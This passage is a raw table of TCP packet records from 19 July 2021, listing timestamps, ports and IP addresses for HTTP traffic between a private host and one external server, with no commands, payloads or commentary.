Jul 19, 2021 18:35:58.270250082 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.270283937 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.270579100 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.270673037 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.270879030 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.270951986 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.271241903 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.271397114 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.271473885 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.271677017 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.271998882 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.272090912 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.272198915 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.272370100 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.272381067 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.272428989 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.272481918 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.272692919 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.272959948 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.273026943 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.274194956 CEST	49825	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.275268078 CEST	49827	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.354399920 CEST	80	49825	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.354564905 CEST	49825	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.368530035 CEST	80	49827	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.368966103 CEST	49827	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.369277954 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.369302988 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.369415998 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.369451046 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.369877100 CEST	49827	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.370016098 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.370095015 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.370321989 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.370415926 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.370486021 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.370590925 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.371192932 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.371232986 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.371532917 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.371567011 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.371660948 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.371679068 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.371773958 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.461749077 CEST	80	49827	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.467984915 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.468014002 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.468029976 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.468043089 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.468105078 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.468795061 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.470061064 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.473017931 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.474124908 CEST	80	49827	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.474355936 CEST	49827	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.565638065 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.565673113 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.565681934 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.565700054 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.592838049 CEST	49827	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.593139887 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.594186068 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.603624105 CEST	49829	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.683296919 CEST	80	49829	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.683921099 CEST	49829	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.684657097 CEST	49829	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.684792042 CEST	80	49827	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.684880018 CEST	49827	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.691085100 CEST	80	49826	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.691539049 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.691696882 CEST	49826	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.691771030 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.692475080 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.692641020 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.692883015 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.693042040 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.763649940 CEST	80	49829	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.776586056 CEST	80	49829	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.776839972 CEST	49829	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.804965973 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808038950 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808053017 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808063984 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808078051 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808090925 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808103085 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808114052 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808120966 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808135986 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808149099 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808160067 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.808162928 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.808238029 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.808274031 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.885212898 CEST	49829	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.886358976 CEST	49830	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.907351971 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.907383919 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.907401085 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.907417059 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.907433987 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.907589912 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.907660007 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.914498091 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.915719032 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.919703960 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.919761896 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.919893980 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.967022896 CEST	80	49829	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.992912054 CEST	80	49830	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:58.993266106 CEST	49830	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.993352890 CEST	49829	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:58.993801117 CEST	49830	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.040229082 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040288925 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040326118 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040364981 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040400982 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040476084 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040477037 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.040502071 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040535927 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040599108 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040633917 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040667057 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040700912 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040736914 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040785074 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.040822983 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.091649055 CEST	80	49830	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.104640961 CEST	80	49830	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.104846954 CEST	49830	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.138637066 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.138664961 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.138674021 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.138684988 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.146648884 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.146730900 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.211915016 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.212284088 CEST	49830	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.213789940 CEST	49831	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.306269884 CEST	80	49830	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.306301117 CEST	80	49831	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.306404114 CEST	49830	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.306435108 CEST	49831	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.308027029 CEST	49831	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.309842110 CEST	80	49828	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.318309069 CEST	49828	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.331294060 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.400386095 CEST	80	49831	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.411380053 CEST	80	49831	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.411551952 CEST	49831	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.415635109 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.415792942 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.416640043 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.416817904 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.416997910 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.417081118 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.499851942 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.499881983 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.499896049 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.499912977 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.499928951 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.499943018 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.499958992 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.500003099 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.500076056 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.500111103 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.500164986 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.524599075 CEST	49831	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.525670052 CEST	49833	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.582844019 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.582871914 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.582880020 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.582886934 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.582895041 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.582907915 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.582963943 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.583017111 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.583023071 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.583039045 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.583085060 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.583157063 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.584867954 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.587477922 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.619925976 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.619940996 CEST	80	49831	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.619957924 CEST	80	49833	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.620141983 CEST	49831	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.620258093 CEST	49833	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.620263100 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.620793104 CEST	49833	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.666081905 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.669488907 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.669519901 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.670928001 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.672403097 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.672466993 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.672482014 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.672491074 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.672501087 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.705611944 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.705626011 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.718023062 CEST	80	49833	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.718044996 CEST	80	49833	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.718597889 CEST	49833	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.759594917 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.759630919 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.759649038 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.759659052 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.766511917 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.768011093 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.838097095 CEST	49833	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.839520931 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.839693069 CEST	49834	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.922564030 CEST	80	49832	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.925553083 CEST	80	49834	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.925697088 CEST	49834	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.925786972 CEST	49832	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.927264929 CEST	49834	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.932570934 CEST	80	49833	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:59.932642937 CEST	49833	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:59.957571983 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.006268024 CEST	80	49834	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.006356955 CEST	80	49834	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.006490946 CEST	49834	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.056746960 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.060424089 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.060530901 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.060539007 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.060555935 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.060637951 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.119460106 CEST	49834	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.120131016 CEST	49836	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.168864012 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.168891907 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.168905973 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.168922901 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.168936968 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.168950081 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.168966055 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.168978930 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.168992043 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.169004917 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.169018984 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.169034958 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.169049025 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.170494080 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.170531034 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.170571089 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.202554941 CEST	80	49834	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.202728987 CEST	49834	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.214006901 CEST	80	49836	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.214214087 CEST	49836	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.214788914 CEST	49836	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.270849943 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.270884991 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.270905018 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.270920992 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.270977020 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.271038055 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.274645090 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.274671078 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.274820089 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.308545113 CEST	80	49836	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.316780090 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.316936970 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.320569038 CEST	80	49836	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.320693970 CEST	49836	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.369066000 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.369172096 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.369335890 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.369697094 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.374876976 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.374898911 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.374907970 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.374917030 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.375093937 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.375107050 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.416049957 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.430593967 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.468689919 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.533502102 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.563903093 CEST	49836	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.564815998 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.648745060 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.648972034 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.649893999 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.650012970 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.650238037 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.650293112 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.650312901 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.668625116 CEST	80	49836	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.668785095 CEST	49836	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.679864883 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.680059910 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.732568026 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.732594013 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.732609987 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.732625961 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.732722998 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.732940912 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.733006954 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.733540058 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.733560085 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.733617067 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.733659029 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.734468937 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.734493017 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.734509945 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.734524965 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.734539986 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.734548092 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.734597921 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.734621048 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.791007996 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.792411089 CEST	49842	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.814615965 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.814634085 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.814649105 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.814663887 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.814721107 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.814764023 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.817715883 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.817940950 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.877405882 CEST	80	49842	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.877568960 CEST	49842	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.878232956 CEST	49842	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.888833046 CEST	80	49835	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.888972044 CEST	49835	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.899074078 CEST	80	49837	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:00.899216890 CEST	49837	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:00.901165009 CEST	80	49837	185.114.247.54	192.168.2.6
